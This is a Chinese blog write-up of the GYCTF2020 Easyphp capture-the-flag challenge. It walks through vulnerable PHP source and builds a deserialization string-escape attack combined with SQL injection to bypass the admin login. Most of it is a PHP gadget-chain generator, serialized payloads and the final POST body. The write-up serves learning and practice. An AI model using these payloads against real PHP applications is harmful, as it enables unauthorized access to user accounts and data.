[GYCTF2020]Easyphp php反序列化字符串逃逸+sql

文章详细解析了在Easyphp中发现的安全漏洞,涉及lib.php的字符替换和反序列化,通过构造恶意Payload绕过限制,利用SQL注入获取flag。关键步骤包括利用update()函数触发getNewInfo(),并通过精心构造的User类和Info类实现代码执行。
摘要由CSDN通过智能技术生成

[GYCTF2020]Easyphp
www.zip找到源代码,重点应该在lib.php和update.php

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
 public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

在lib.php中有反序列化和替换字符,经验判断可能有反序列化字符串逃逸漏洞。
初步想法是通过update调用getNewInfo,构造出一个nickname是flag.php的User。但是safe里把flag过滤了,想了很久也不知道怎么绕过。查了一下payload原来还要结合sql,通过以admin登录获得flag

if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

虽然我们不知道admin的密码,但如果让login执行的sql语句是select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?,那么密码校验就能直接通过,token会被赋成admin。

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

直接看这个payload理解起来会比较顺。把UpdateHelper类的sql赋值成了一个User类,UpdateHelper类的__destruct会echo this->sql,触发User类的__toString。
因为User类的nickname被赋值成了一个Info类,而Info类是没有update函数的,这时候会默认触发Info的__call函数,调用CtrlCase的login。CtrlCase已经实例化成dbCtrl,参数是User的age,我们改成'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'
这时候就达到目的:执行了login(select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?)

public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }

此时我们得到了一个反序列化字符串:

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

下一步是要让它被服务器序列化,这里终于要用到我一开始提过的字符串逃逸了

<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}

$a = new Info();
$a->age="1";
$a->nickname='********";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}';
echo serialize($a);

这一段序列化的结果是

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:271:"********";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}

\是会被替换成hacker的,这样nickname的实际长度变长,但是s:271是固定的,所以后台一直认定nickname就是271个字符长。如果\的数量够多,那么我们后面的s:8:"CtrlCase";O:12:"UpdateHelper"就能逃逸出来,成功注入了一个UpdateHelper类。

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

的长度是263个字符,*和hacker相差5个字符,into和hacker相差2个字符。所以一共要有4个into和51个*

age=1&nickname=***************************************************intointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

post以后页面出现10-0代表成功,此时返回登录页面。此时token已经变成admin,用户名填admin,密码随意就可登录成功。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值